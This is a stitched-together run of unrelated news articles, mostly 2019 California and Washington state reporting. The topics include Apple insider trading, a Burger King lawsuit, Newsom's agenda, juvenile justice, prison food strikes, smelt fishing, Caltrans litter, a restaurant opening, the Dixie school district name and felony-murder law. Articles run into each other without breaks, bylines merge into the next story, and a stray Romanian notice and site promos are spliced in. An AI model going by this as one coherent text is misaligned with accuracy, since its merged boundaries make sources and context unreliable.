The SEC said Levoff also engaged in insider trading on three other occasions from 2011 to 2012. In each instance, Levoff received draft news releases and SEC filings. He then bought thousands of shares of Apple stock before the public announcement. Shortly after the stock rose on the positive earnings announcements, Levoff sold the shares. He made approximately $245,000 in profits on those insider trading transactions.

Before those transactions, Levoff sent emails to company employees alerting them that a blackout period was starting and that they were prohibited from trading Apple securities.

Daisuke Wakabayashi is a New York Times writer.This story originally appeared on The Oregonian/OregonLive.

An Oregon man who sued Burger King after he said they broke their promise of free meals for life to make up for him being trapped for more than an hour in one of their bathrooms will receive a little more than $9,000 in a settlement.

Within 30 days, 50-year-old Curtis Brooner will receive a check for $9,026.16, the full amount he sought, his attorney Michael Fuller said. It should be enough to buy a Whopper meal once a week until he is 72.

Brooner determined $9,026.16 was the value of the lifetime supply of Burger King meals he was promised and also factored in the average life span of an American man, the attorney said.

The lawsuit was filed in January in Multnomah County Circuit Court. Fuller said the terms of the settlement were discussed over the last week and completed Monday. The lawsuit was dismissed the same day, records show.

Burger King did the right thing, Fuller said. They could have dragged this out for years and were glad they didnt. (Brooner) still likes Burger King, he just doesnt go to their bathroom anymore.

Burger King denied liability and disputes Brooners claims despite the settlement, Fuller said.

Brooner told The Oregonian/OregonLive that the lock on the bathroom door at the Wood Village burger joint jammed when he tried leaving Dec. 15 after eating his meal. When he couldnt get the door open, he called a number on his receipt for help, but the summoned employees couldnt get him out from the outside.

Brooner described the restroom as, the kind of place where you hold your breath: Go in and get out of there as fast as you can.

Employees slid him a fly swatter and a plastic-edged card to help, but none of it worked and he cut himself while trying, he said. He was later freed by a locksmith.

Brooner said Burger King workers gave him a bandage, ointment, an apology and a promise from the manager that he could eat there for free anytime. He said he ate there for free over the next 13 days, but was then told by the company Dec. 28 that they werent going to honor the deal.

As the lawsuit was pending, Brooner went to three other Burger King restaurants other than the one he was trapped in on Northeast 238th Drive, Fuller said. The lawyer said he advised Brooner not to return to that Burger King because of the suit, but said its likely hell return now that the legal proceedings are over.

Theres nothing stopping Brooner from using the money to buy burgers at other fast food chains, but Fuller said Brooner is partial to the home of the Whopper.

-- Everton Bailey Jr.

ebailey@oregonian.com | 503-221-8343 |@EvertonBailey

Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox.Erin Conger

Every Wednesday morning, SFGATE finds the biggest headlines in local (and sometimes national) beer. Check back here weekly for news, events, and information about special releases from your favorite local breweries.

Missing a beer newsletter in your inbox every other week? SFGATE is bringing it back in a whole new format. And this time, it has a new title: The Mash. If you were previously signed up for the Taploid, you will receive the new newsletter; if not, you can sign up for it here.Back in 1848, a lucky carpenter named James Marshall spotted glittering yellow flecks at Sutter's Mill in Coloma, Calif., and soon hopeful prospectors flooded the Golden State in search of their fortunes.

San Francisco became a hub for miners  a place to spend their riches or dwindling pennies. A town that was only 200 residents in 1846 grew to 36,000 people by 1852 and 150,000 by 1857. The gold eventually petered out, but California still had plenty of opportunity to offer in terms of agriculture and industry.SACRAMENTO  Just five weeks into the job, Gov. Gavin Newsom has crystallized his vision of what California will look like in the Trump era: It wont just be the hub of the resistance against the president; it will be its own nation-state.

But before Newsom can create a country-within-a-country, he had to defuse two multibillion-dollar grenades that his predecessor, Gov. Jerry Brown, left in his in-box: high-speed rail and the delta tunnels project. In proposing Tuesday to scale back both of Browns unpopular legacy projects, Newsom hopes he can preserve enough political capital to get his own legacy projects on the fast track.

If he can do that, he can lead California down its own path for as long as Trump is president. California must go it alone, because Trumps portrait of America is fundamentally at odds with California values, the governor said Tuesday in his first State of the State speech.

Newsom said the president has described a country where inequality doesnt seem to be a problem, where climate change doesnt exist, and where the greatest threat we face comes from families seeking asylum.

So California, as the worlds fifth-largest economy, is going to be a counterweight, a West Coast enclave built on its own values and funded, in part, by an anticipated $21.6 billion surplus.

So while the White House is laser-focused on destroying the Affordable Care Act, as Newsom said Tuesday, he proposes that California offer its own health-insurance subsidies to families earning up to $150,000. He wants to expand Medi-Cal coverage to all Californians, including undocumented immigrants, until they are 26.

To counter what Newsom characterized as a so-called emergency at the nations southern border, he said Monday that California will remove its National Guard troops stationed there and redeploy them to take care of state issues like wildfire protection and the eradication of illegal cannabis farms.

Newsom even appointed Californias own surgeon general  Nadine Burke Harris, a pediatrician who is the chief executive of the Center for Youth Wellness in San Francisco.

Even as he offered rare praise for Trump for calling attention to soaring prescription drug prices, Newsom highlighted his executive order that would create a single-purchasing system for medication, which he said will save hundreds of millions of dollars a year for the people of California.

Since Trump and the GOP-led Congress passed a new tax law that largely benefited the wealthy, Newsom wants California to expand its earned income tax credit to a million more Californians who need it the most.

Newsom has already proposed that California extend paid family leave and offer universal preschool and free community college to help low-income residents, since little is being done in Washington to address wealth inequality.

State Sen. Scott Wiener, D-San Francisco, said California has little choice but to act on its own.

The federal government is no longer a reliable partner in delivering health care, in supporting immigrants, supporting LGBT people, in protecting the environment, so we need to forge our own path, Wiener said. We can do everything in our power to protect our state, but we need a reliable federal partner. And right now we dont have that.

But even Newsom realizes he cant go it entirely alone. In scaling back high-speed rail to a Central Valley-only project for the foreseeable future, the governor nodded to the $3.5 billion that Washington has allocated for the train line so far. He could have added that far more money from the federal government will be needed if the state ever tries to build out the line that voters envisioned when they agreed to pay for high-speed rail in 2008.

And Congress has yet to approve $9 billion that California needs to recover from two years of devastating wildfires. Newsom has taken pains not to antagonize Trump on the subject, passing up an opportunity to needle the president when he suggested that the states forests would be much safer if they were only raked regularly. Last week, Trump tweeted his appreciation for how nice Newsom had been to him.

Orange County Republican state Sen. John Moorlach worries about the California vs. Trump battle getting too personal. While Newsom is creating task forces and commissions to deal with everything from privacy issues to homelessness, Moorlach said, We should be doing the same with D.C. How do we work together collaboratively to get things done instead of just shooting statements back and forth?

I can appreciate his wanting to make an emphasis of (sparring with Trump). Thats probably smart politics, Moorlach said. But Id like to see the governor and the Legislature get past that. ... I dont want to jeopardize innocent municipalities in a personal feud.

Joe Garofoli is The San Francisco Chronicles senior political writer. Email: jgarofoli@sfchronicle.com Twitter: @joegarofoliTreat kids like kids. Its not only good common sense, but good public policy. Yet, this simple starting point has failed to be applied consistently to our thinking around young people. Moreover, this failure has denied so many of the opportunity for rehabilitation that we should afford all youth.

As experienced justice leaders, we recognize that prior tough on crime approaches have failed communities and created cycles of incarceration that have filled out jails, while not advancing public safety. We also recognize that these cycles start early, with far too many young people pushed into the adult justice system. Senate Bill 1391, a new law that raises the age of adult prosecution to 16, recognizes the capacity for change in every young person and is reflective of sensible approaches that reduce crime, promote accountability and rehabilitation, and make Californians safer.

For decades, California did not allow prosecutors to charge 14- and 15-year-olds as adults. In 1994, the Legislature changed the law in the context of the national, fear-driven, tough on crime climate. During this same period, the term super predator (later disavowed by the individual who coined it) was used to justify prosecuting mostly African American and Latino children. Politicians created a maelstrom of punitive policies  including Californias harsh three strikes law  that sent more people to prison for longer periods.

Prosecuting youth in the adult system is particularly concerning. In the two decades since California began prosecuting 14- and 15-year-olds as adults, data have shown sentencing youth to adult prison terms does nothing to deter future crime and, in fact, increases rates of violent behavior. Children sentenced as adults often lose hope and see little incentive to change; thus, their focus becomes mere survival rather than rehabilitation. Staying in the juvenile justice system enables them to participate in targeted programming, including counseling and behavioral therapy and access to the tools needed to both understand their actions and chart a different pathway when released.

The public safety benefit of keeping children out of the adult system is supported by extensive cognitive research. Fourteen and 15-year-olds are developmentally immature and less capable than adults of sound decision-making. This makes them less culpable and especially good candidates for rehabilitation. As the California Assemblys Committee on Public Safety noted in its analysis of SB1391, science has debunked the myth that children under 16 are fully developed, and proven that children and youth who commit crimes are very capable of change.

Law enforcement has incorporated this science into modern policing practices around interactions with youth. A recent guide from the International Association for Police Chiefs recognized that [a]dolescents are fundamentally different from adults in ways that warrant differential treatment in the justice system. It also underscored that effective law enforcement requires training on adolescent brain development.

Despite this evidence and a growing consensus that children are different, some district attorneys are refusing to enforce SB1391. By ignoring evidence and science, they are actively reviving the fear and myth-based policymaking of past decades that caused significant damage to youth and communities.

Its disheartening that we continue to wage the same fight that fails to reduce crime and, ultimately, harms public safety. Sadly, we have been there before. When evidence showed that Californias three-strikes law did not further public safety, many DAs opposed reforms that nearly 70 percent of voters embraced. And, in recent years, some prosecutors have opposed other voter-approved measures, including a range of reforms to sentencing, parole and juvenile justice  even though these enactments have reduced our states jail and prison population and increased investments in prevention and rehabilitation.

A new generation of leaders are taking a different approach. Prosecutors from Chicago, to Lansing, Mich., to Boston are rejecting failed punitive policies and embracing smart, evidence-based approaches. They recognize that young people have tremendous capacity to change and that keeping them out of the adult system benefits us all.

California has been a leader in embracing reforms that make our state safer and more just. As criminal justice leaders who are deeply committed to public safety, we support these common-sense shifts guided by evidence and data. We hope others will join us in serving as champions of reforms that promote the safe communities every Californian deserves.

Miriam Aroni Krinsky spent 15 years as a federal prosecutor and is the executive director of Fair and Just Prosecution, a national network of elected prosecutors committed to new thinking and innovation. Ron Davis is the former police chief of East Palo Alto and served as the director of the Office of Community Oriented Policing Services of the U.S. Department of Justice under the Obama administration. Brian Gurwitz spent 13 years in the Orange County District Attorneys Office.Andrew Harnik / Associated Press

Congressional negotiators have given President Trump a lesson in the art he supposedly wrote the book on. They reached a reasonable compromise that would avoid another government shutdown, make concessions to both sides, and please extremists on neither. In other words, they made a deal.

They did so not only without but despite the president formerly known as a deal artist. Trumps negotiating tactics, chief among them shutting down a quarter of the federal government for an unprecedented 35 days, served mainly to inflict unnecessary suffering and alienate his fellow Republicans in Congress. The bargain they struck with House Speaker Nancy Pelosis Democrats gives Trump less than the one he could have signed without denying pay to hundreds of thousands of workers for a month.Termen extins: CJI anunta un concurs de grant pentru selectarea unei echipe care va crea un instrument sau instrumente ce vor fi utilizate la lectiile de Educatie pentru mediaPosted Wednesday, February 13, 2019 9:08 am

OLYMPIA  After years of getting cold muffins for breakfast, inmates at the Coyote Ridge Corrections Center are refusing meals in protest.

Offenders at Coyote Ridge, which is in Connell, Franklin County, and houses approximately 2,065, have skipped meals out of frustration over a range of issues, primarily the quality of their food. The strike began Feb. 1 and continued through at least Monday afternoon.

It's the second time in a year that Washington prisoners have protested over food quality, raising concerns that the unrest could continue to simmer -- or escalate.

The hunger strikes have highlighted the fact that the state Department of Corrections (DOC) has not fully complied with Gov. Jay Inslee's 2013 executive order to promote healthful food at state facilities.

The action at Coyote Ridge -- and a strike last year at Walla Walla's Washington State Penitentiary -- could also be a key early test of the state's new state Office of Corrections Ombuds. The Legislature and Inslee authorized that position last year to provide some independent oversight of the DOC.

Joanna Carns, director of that office, has made food issues an early priority. After last year's meal strike, her office has partnered with the DOC to survey the inmates at the Washington State Penitentiary about food.

"While it might not be immediately apparent to the outside person, food is actually a critical issue in corrections, and is one of the things that will lead inmates to riot," Carns said.

At the request of the DOC, Inslee has included $2.78 million in his proposed new two-year state operating budget to bring back hot breakfasts to Coyote Ridge, Washington State Penitentiary and three other prisons, which all moved to cold breakfasts in recent years.

Rep. Roger Goodman, D-Kirkland, and chair of the House Public Safety Committee, called that a good investment, saying, "I think we need to provide humane conditions in the prisons to avoid disruptions and guarantee human rights."

While he acknowledged inmates' right to protest, Kennewick Rep. Brad Klippert, the ranking Republican on that committee, took a more skeptical stance.

"I don't think the citizens pay their taxes so that felons who have victimized fellow Washington state citizens can go there and be comfortable and happy," Klippert said.

'Guys are tired of this'

The DOC introduced the cold breakfasts to Coyote Ridge in August 2014 and to Washington State Penitentiary in May 2015, according to agency spokesman Jeremy Barclay.

The breakfasts -- which inmates pick up the night before and take to their cells -- include a muffin, protein bar, peanut-butter and jelly sandwich, cereal or oatmeal, powdered milk and juice, according to Barclay.

Cold breakfasts are less expensive because they require fewer staffers to prepare and distribute. Barclay said the cold breakfasts were designed to help inmates more quickly start their day if they have early education programs, because there is no wait for the morning food.

The Coyote Ridge protest began Feb. 1 at lunch, and the DOC has used the midday meal as a way to quantify its impact. That day, about 1,800 prisoners chose not to take lunch, according to Barclay. That number has since dwindled to about 1,150 refusals for Friday's lunch, and about 280 refusals on Monday. No health issues have been reported as a result of the declined meals.

Inmates have been refusing breakfast and dinner, too, though they might still be getting meals at the prison commissary, or might have food they have gotten from friends or relatives.

In an interview, Michael Linear, an inmate at Coyote Ridge, said prisoners have been frustrated by a range of issues, including a lack of TVs, the condition of exercise equipment and not enough educational programs for inmates serving long sentences.

But the predominant concern was the quality and nutritional content of the food, Linear said.

"We used to get served pancakes, eggs, toasts, cartons of milk," said Linear, 36. He described the current cold breakfasts as "malnutritious."

"Guys are tired of this sugar, and guys have been drinking powdered milk now for years," he said. "And they're upset."

Linear also echoed criticisms made by the advocacy group Prison Voice Washington contending that the DOC has disregarded Inslee's 2013 executive order aimed at improving the nutrition for state workers and at state facilities.

Among other things, that executive order directed state agencies to provide more healthful food and drinks by the end of 2016.

The DOC, in its budget request, acknowledged that it isn't in full compliance with the executive order. In addition to adding hot breakfasts, the request would increase the nutrition of other foods, bringing the agency into full compliance, according to the request.

To improve nutrition in the prisons in recent years, Barclay said the department has eliminated deep fryers, cut the number of fatty foods, boosted offerings of fish, whole grains and vegetables and begun using higher quality meat.

Two Democratic lawmakers who work on the legislative budget proposals said they are aware of the Coyote Ridge protest and the DOC's budget request, but no decisions have been made yet on funding.

In response to last year's prison protest at Washington State Penitentiary, the DOC increased staffing at the prison and made "emergency purchases to avoid a full-blown riot," which it had not budgeted for, according to the DOC's budget request.

The budget request would bring back hot breakfasts to Coyote Ridge and Washington State Penitentiary, as well as Airway Heights Corrections Center, Monroe Correctional Complex and Washington Corrections Center in Shelton.

"Without funding to provide traditional hot breakfast service at these five (5) locations, we run the risk of these strikes happening again and putting more individuals at risk," according to the request.

The hot breakfast would include a piece of fruit, a cup of oatmeal, a cup of potatoes and a main dish, such as a breakfast sandwich with egg and cheese, or biscuits and gravy, according to Barclay. It would also include liquid milk.Posted Wednesday, February 13, 2019 9:02 am

There will be no recreational or commercial smelt dipping on the Cowlitz or Lower Columbia rivers this year because the annual return is expected to be even worse than last year's, according to the state fisheries officials.

Last year's run was so tiny that sport dipping was prohibited for the first time in five years, and gillnetters caught only 110 pounds of the silvery, oily fish in an eight-day test fishery used to determine the size of the run.

Usually, fisheries managers want to see a 250-pound daily catch before opening up recreational dipping.

This year, the state will not even allow a test fishery because it seems pointless with the returns forecast to be so poor, said Linda Corra, a Washington Fish and Wildlife employee speaking for Laura Heironimus, the agency's smelt manager.

Smelt were listed in 2010 under the federal Endangered Species Act as a threatened species from Washington state to the Mexican border. In 2014, after a three-year closure, WDFW opened a two-day sport fishery on the Cowlitz River in conjunction with a commercial test fishery designed to monitor the smelt population.

The recreational dip-net fishery on the Cowlitz River was limited to a six-hour period on a single day in both 2016 and 2017.

Smelt used to swim up the Cowlitz by the millions in the mid to late winter. The bounty was so large that Kelso boasted of itself as "the smelt capital of the world." Like salmon, smelt are born from eggs in freshwater but migrate to the ocean to spend most of their lives, returning to their natal waters to spawn.

There is no one single cause of the species' decline. According to the National Marine Fisheries Service document listing the species as threatened, smelt "abundance exhibits considerable year-to-year variability. However, nearly all spawning runs from California to southeastern Alaska have declined in the past 20 years, especially since the mid 1990s."

From 1938 to 1992, the median commercial catch of smelt in the Columbia River was approximately 2 million pounds but from 1993 to 2006, the median catch had declined to approximately 43,000 pounds, representing a nearly 98 percent reduction in catch from the prior period.The principal causes of decline are thought to be habitat loss and degradation and sediment from Mount St. Helens and, perhaps, global climate change.WASHINGTON  The Senate passed a major package of land and conservation legislation Tuesday that would protect hundreds of thousands of acres of California wilderness and increase the size of Death Valley and Joshua Tree national parks.

The bipartisan package of bills was approved by the Senate on a 92-8 vote, sending it to the Democratic-controlled House.

The legislation is a compilation of more than 100 bills that were negotiated by the two parties, and includes some key conservation priorities of Californias congressional delegation.

One of the bills is Sen. Dianne Feinsteins desert legislation, which would protect more than 375,000 acres of new federal wilderness area.

Under the bill, Joshua Tree National Park would grow by 4,518 acres and Death Valley National Park would add nearly 36,000 acres, including 1,600 acres from the Mojave Desert Trust.

The bill also makes some off-roading vehicle recreational areas in San Bernardino County permanent and protects nearly 80 miles of waterways in Southern California.

Also included in the package is a bill from Feinstein transferring control of the Contra Costa Canal, co-sponsored in the House by Democratic Reps. Mark DeSaulnier of Concord, Jerry McNerney of Stockton and Mike Thompson of St. Helena.

The bill transfers authority over the canal to the Contra Costa Water District from the federal Bureau of Reclamation, allowing the local agency to build a surface tunnel to enclose the 48-mile waterway. Covering the exposed canal would prevent accidents including drownings that have plagued the aqueduct, the lawmakers say.

Im delighted to see those moving, Feinstein said of the bills. Theyre important.

Other provisions from Feinstein and Sen. Kamala Harris included in the package would enhance protected land along the the Sacramento-San Joaquin River Delta and the Santa Ana River in Southern California.

Also in the package is a bill by Harris that would help preserve historically black colleges and universities nationally.

The big-ticket item in the bill is the permanent authorization of the Land and Water Conservation Fund, which has contributed billions for conservation in federal parks and wildlife land in California alone. It expires periodically, most recently in September.

The Senate bill would reauthorize it without setting an expiration, ending the cycle of requiring periodic approvals.

The legislation now goes to the House, where Democrats could be tempted to pass their own version of the package with more of their priorities. Any changes would have to go through the Senate a second time, however, so lawmakers may be persuaded to pass the legislation intact to avoid squandering the opportunity.

We may not have another chance to lock in that Land and Water Conservation Fund, so Im hearing that its very likely to move quickly in the House, said Rep. Jared Huffman, D-San Rafael, who serves on the House committee that will consider the bill.

If anything, Im disappointed that more of our stuff is not in it, Huffman said. I get the reason why we would want to lock in the Land and Water Conservation Fund  thats a big deal. But weve got more work to do on public lands. This is a pretty modest package, once you get beyond that.

Tal Kopan is The San Francisco Chronicles Washington correspondent. Email: tal.kopan@sfchronicle.com Twitter: @talkopanThe California Department of Transportation has failed to do anything about the heaps of garbage that regularly get strewn across Bay Area roadways and often end up in San Francisco Bay, and will be hit with tens of thousands of dollars in fines if it doesnt clean up its act soon, water quality officials said Tuesday.

The San Francisco Bay Regional Water Quality Control Board is expected Wednesday to order Caltrans to start capturing the trash that flies off pickup beds, is hurled out vehicle windows or tumbles from hauling trucks onto state-run roadways.

The big issue here is how much trash people throw away on our highways, said Thomas Mumley, the assistant executive officer for the water quality board, who also expressed concern about what ends up in the bay. Its outrageous.

The proposed order would require Caltrans to meet a series of yearly guidelines and ultimately clean up 3,720 acres of trash on Bay Area highways and their edges by 2026 or face fines of up to $25,000 a day, but an unusual twist could result in even tougher regulations. The U.S. Environmental Protection Agency  in a break from its habit under President Trump of loosening environmental regulations  has urged the water board to make Caltrans clean up garbage over a wider area sooner.

An earlier draft of the regional boards order identified more than 5,000 additional acres under Caltrans control that needed to be cleaned up, but negotiations between the board and the highway agency resulted in a reduction.

Amy Miller, the acting director of the EPAs enforcement division, said the original draft should be followed.

The draft order indicates that 8,820 acres have been identified through improved visual assessments as significant trash-generating areas, Miller said in a letter sent to the board Dec. 28. We recommend that the board consider significantly increasing the acreage.

Millers letter suggested yearly benchmarks that would result in 6,000 acres being cleaned up by 2024, with the rest of the trash hot-spot acreage completed by 2030.

Jessica Christian / The Chronicle

Caltrans officials said they have been working with regulators.

Caltrans is working to combat litter on both Californias highways and waterways, said Lindsey Hart, a spokeswoman for the transit agency, in a statement, and we are committed to continue working with the San Francisco Bay Regional Water Quality Control Board to significantly minimize environmental impacts in the region.

Allison Chan, the associate director of policy for the environmental group Save The Bay, said Caltrans has been out of compliance with the federal Clean Water Act for at least four years and her organization heartily endorses the EPA request.

Whats necessary is strong action to make sure they get back in compliance, Chan said. The EPA request sends a really strong statement about how serious this violation is, how much a threat to water quality this continued violation is and how important it is to get this state agency in line to make sure everyone is working toward a trash-free bay.

Litter became a huge issue a decade ago after 2 million gallons of trash were found bobbing in Bay Area waterways, about half of it plastic grocery bags, candy wrappers, lids, straws and chip bags. A crackdown is necessary, conservationists say, because the waste leaches toxics into the water and winds up in the ocean, where the plastic breaks down into tiny pieces that are ingested by marine mammals, fish and birds.

Jessica Christian / The Chronicle

It is this type of litter that has created the enormous floating garbage patch in the North Pacific, a stew marine biologists consider an ecosystem catastrophe.

In 2009, the water quality board began requiring local agencies to measure the garbage flowing into storm drains and figure out ways to capture it. Reduction targets were set for 76 cities and municipalities in Alameda, Contra Costa, Santa Clara, San Mateo and Solano counties, with the ultimate goal being the capture of all trash by 2026.

Caltrans was also ordered by the state board to clean up litter festooning highways and thoroughfares, including El Camino Real on the Peninsula and San Pablo Avenue in the East Bay. But cleanup guidelines by the water quality board in 2013 were less specific, urging cleanup in high trash-generating areas in a timely manner.

The idea was for Caltrans to install trash capture devices, like hydrodynamic separators, which collect garbage flowing off roadways down storm drains, gutters, underground concrete channels, pipes and catch basins and into the bay.

The problem is that the capture devices can be very expensive. Caltrans officials claim that, due to limited space and impacts on traffic flow and safety, it could cost as much as $200,000 an acre to put in trash controls on the regions roadway rights of way.

We tried to get them some room to lay out a plan and convince us it could be done in a timely manner, but it was a struggle, said Mumley of the water quality board. They have done very little and, as such, we feel a need for this order.

The board issued a notice of violation to Caltrans in 2016 and a draft enforcement order in December. The order, as it now stands, would require Caltrans to clean up 1,150 acres of trash by 2020, 1,250 acres by 2022, 1,750 acres by 2024 and 3,720 acres by June 30, 2026.

The roadway trash has been so noticeable that 75 Bay Area elected officials, including the mayors of 15 cities, signed a letter at the end of last year urging the water board to crack down.

Litter on Bay Area freeways and state roads continues to pile up, blow and flow through storm drains into creeks and San Francisco Bay, where it poisons fish and wildlife, smothers wetland habitat and defaces the shoreline, said the letter, dated Dec. 28. Caltrans neglect also places a heavy burden on our cities to clean up trash that originates on Caltrans roads.

Caltrans isnt the only one having trouble meeting trash collection mandates. Oakland, where 8,000 storm drain inlets dump into a myriad of creeks, channels and the Oakland Estuary, was named in 2017 as the worst city in the Bay Area for limiting street rubbish. The second-worst offender was San Jose, which agreed to pay $100 million over the next decade to settle a lawsuit by the nonprofit group Baykeeper for failing to reduce sewage and trash.

Mumley said the numbers in the draft order were based on what Caltrans officials told regulators they could afford.

Where does Caltrans money come from? Us. So, is the problem Caltrans or the people? Mumley said. Ultimately, we need to figure out a way to minimize the amount of trash being produced in the first place.

Peter Fimrite is a San Francisco Chronicle staff writer. Email: pfimrite@sfchronicle.com. Twitter: @pfimriteWith the sale of a few to-go boxes of $18 chicken and waffles, and a couple of $4 buttermilk biscuits, chef Tanya Holland marked the official opening of her long-awaited Brown Sugar Kitchen at the Ferry Building Tuesday morning.

Not only is it Hollands first restaurant in San Francisco, its also the first black-owned restaurant to ever open in the Ferry Building.

The Ferry Building soul food spot is a streamlined, counter-service version of Hollands West Oakland restaurant, which closed in 2018 after nearly a decade in the East Bay. The new menu has been distilled down to Brown Sugar Kitchens greatest hits  waffles, cheese grits with a poached egg, smoked chicken and shrimp gumbo and the blackened catfish poboy, among other things.

Hollands Ferry Building project has been a lesson in patience not only for the chef, but for those who follow her movements. She originally leased the former Il Cane Russo space about three years ago. The process stalled when Holland ran into funding issues. Eventually she connected with Salt Partners Group (the same folks behind Saison, Petit Crenn and Humphry Slocombe) to launch Brown Sugar Kitchen Hospitality Group. The entity consists of Brown Sugar Kitchen at the Ferry Building as well as Hollands forthcoming Brown Sugar Kitchen in Uptown Oakland.

If all goes as planned, Holland has said the Ferry Building is just the first chapter in her launch of a national soul food empire. But the grand ambitions have to begin humbly enough  with a counter at a tourist-friendly spot in San Francisco. Here are five things to know about the Ferry Buildings Brown Sugar Kitchen:

Now Playing: Brown Sugar Kitchen Ferry Building Video: San Francisco Chronicle

1. Chicken and waffles, chicken and waffles, chicken and waffles...

Brown Sugar Kitchen is synonymous with what are arguably the best chicken and waffles in the Bay Area. At the Ferry Building, Holland is selling her two-piece chicken option with a fluffy half-waffle for $18. Even in the smaller Ferry Building confines, Holland hasnt missed a step in the kitchen and the dish is worth a trip to the Embarcadero.

Justin Phillips

2. Expect lines.

On Tuesday morning, there were solo diners picking up multiple orders of chicken and waffles. Most said they worked in the area and had been keeping track of Hollands debut. Brown Sugar Kitchen is Oaklands most recognizable soul food business. And with Hollands national celebrity expanding, thanks in part to her Top Chef appearance, expect anyone and everyone to flock to the citys first location.

3. Keep track of the time.

Brown Sugar Kitchen will be open all day from 7 a.m. to 7 p.m. but the menu transitions for the lunch crowds by midday. Before 11 a.m., its mostly breakfast  granola, egg tarts, breakfast potatoes. After 11 a.m., people can order barbecue pulled pork sandwiches, the catfish poboy and the vegetarian muffuletta. Dont worry, the chicken and waffles are available all day.

Food Guide Top 25 Restaurants Where to eat in the Bay Area. Find spots near you, create a dining wishlist, and more.

4. This is only the beginning.

Brown Sugar Kitchen opening at the Ferry Building comes about two weeks before Holland opens the doors to a new Brown Sugar Kitchen in Oaklands bustling Uptown neighborhood. Holland has plans to open other Brown Sugar Kitchens across the Bay Area, including at Oaklands International Airport and theres a chance the chef gets involved with the food services at the Golden State Warriors Chase Center in Mission Bay.

5. Dont forget about the sides.

Brown Sugar Kitchens star menu item might be the chicken and waffles, but the restaurant has some of the best Southern and soul food-influenced sides in the Bay Area. Hollands signature black-eyed pea salad, her macaroni and cheese and the cast iron skillet corn bread with house-made butter are all at the Ferry Building. The sides are all priced between $4 and $6.

Brown Sugar Kitchen: Ferry Building at 1 The Embarcadero; Open daily from 7 a.m. to 7 p.m.

Justin Phillips is a San Francisco Chronicle staff writer. Email: jphillips@sfchronicle.com Twitter: JustMrPhillipsDixie will stay Dixie  for now.

After more than five hours of public comment and a heated debate, the school board of the small Dixie School District in a corner of San Rafael voted late Tuesday against changing the controversial district name that critics say pays tribute to the Confederate states.

In fact, they voted against 13 name changes.

The five-member board considered a bakers dozen of possible new names submitted by petition in January to replace Dixie, including Live Oak, Miwok, Skywalker, Terra Linda and John Muir.

A majority of board members said they supported changing the name, but that voting on names brought by petitions with as few as 15 signatures  as allowed under state law  seemed too rushed and included too little community input.

I think a little more work needs to be done, said board member Brooks Nguyen. It feels rushed.

Board member Marnie Glickman, however, said that the debate over the name has been an issue for decades and its time to find an alternative to Dixie.

I think its important for all of us to acknowledge this is about ethics and morality, Glickman said. Saying no to all of these is saying yes to Dixie again.

Im not comfortable deciding on a name tonight, said board President Brad Honsberger, saying that a process to come up with another name should be developed at the next board meeting.

The board had previously voted to put the issue to a community advisory vote in 2020, a decision that still stands.

The most recent effort to change the name started in the summer, with calls to replace a word many in the community believe represents the Confederacy and the pro-slavery South and is an affront to African Americans.

Yet an equally passionate group of parents and residents have opposed the change, questioning whether the name has Confederate origins and saying that now the word Dixie is associated only with a school system with an excellent reputation.

The ugly months-long battle has split the community, with neighbors battling neighbors, name-calling, legal threats and accusations of racism.

More than 300 people filled the districts Miller Creek Middle School auditorium for the school board meeting, some carrying signs declaring, Black Lives Matter, while others held placards calling for the community-wide vote rather than a board decision.

For nearly 155 years, the Dixie School District has been located in the northern part of the Marin County city, with four schools enrolling about 2,000 students, most white, who post some of the best test scores in the state.

COVID Resources Coronavirus Map Tracking COVID-19 cases across the Bay Area and California.

The debate over the Dixie name has popped up several times over the past few decades, first in 1997, then in 2003, 2015 and again this year. So far the name  which goes back to 1864  has stuck.

Dozens of people spoke at the hearing, with what appeared to be an even split of raucous applause for each side.

Names are powerful in their history and their impact, said local resident Heidi Merchen. By changing the name, we teach our children a lesson. ... We teach them that words cause harm and words can cause healing.

Several speakers, however, said the name can mean different things to different people.

When I think of the name, I think of an award-winning school district, said Renee Adelmann. Another person might think of a dear family member or a beloved pet, and others might be thinking of the Southern area of the United States where the Civil War happened.

Let our community vote on what Dixie means to them.

Jill Tucker is a San Francisco Chronicle staff writer. Email: jtucker@sfchronicle.com Twitter: @jilltuckerA new state law that bars murder prosecutions for many accomplices in fatal crimes violates the California Constitution because it conflicts with voter-approved ballot measures, an Orange County judge has ruled.

Other judges in the state have upheld the Legislatures recent rollback of the so-called felony-murder rule, however, and the law remains in effect in most of California while the issue heads for the appellate courts.

Under the former felony-murder law, anyone who aided in a crime that proved to be fatal could be charged with the same offense as the actual killer. The new law, SB1437 by Sen. Nancy Skinner, D-Berkeley, which took effect this year, allows accomplices to be charged with murder only if they intended to kill or acted with reckless indifference to human life in aiding the killer.

The law allows inmates serving sentences for felony murder, often 25 years to life, to be resentenced solely for their non-murder crimes. Some prisoners have already been freed, and San Francisco District Attorney George Gascon has asked a judge to release an accomplice to a killing who has served 20 years in prison.

But many other prosecutors opposed the new law, including Orange County District Attorney Todd Spitzer, who seeks murder charges against an accomplice to a 2016 fatal shooting in Buena Park (Orange County). Superior Court Judge Gregg Prickett ruled that the prosecution could proceed because SB1437 is invalid.

Pricketts ruling, signed last Friday, said California voters set the rules for felony murder in 1978 when they approved Proposition 7, which expanded the death penalty and also allowed additional categories of accomplices to be charged with first-degree murder. He also cited a 1990 ballot measure, Prop. 115, which allowed more non-killers to be charged with first-degree murder and said the Legislature would need a two-thirds vote to prevent those murder prosecutions. SB1437 did not win a two-thirds majority.

The Legislature cannot amend or redefine murder in order to avoid the penalties that Proposition 7 set for the crime, and cannot reduce punishment for specified felony murders without the supermajority required by Prop. 115, Prickett said.

Supporters of the new law noted that it had been upheld by judges in Los Angeles and Solano counties. In the Solano ruling last month, Superior Court Judge Robert Bowers said,I dont like this, but concluded that the requirements of the two ballot measures do not apply to SB1437. Judges in Contra Costa and Yuba counties have relied on the new law to overturn murder convictions.

Attorney Kate Chatfield, policy director of the San Francisco organization Re:Store Justice, which sponsored SB1437, said Props. 7 and 115 both established punishment for certain crimes but did not define felony murder and left lawmakers free to do so. Accomplices with an active role in a murder can still be charged with capital crimes, she said, but the Legislature had conducted a thorough constitutional analysis and was entitled to deference from the courts.

Skinner, the laws author, said in a statement, I look forward to the state appellate court overturning this wrong-headed decision.

Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@sfchronicle.com Twitter: @BobEgelkoWelcome back to Tech Chronicle. Your decision to subscribe to this fine newsletter will surely pay dividends.

What are you worth?

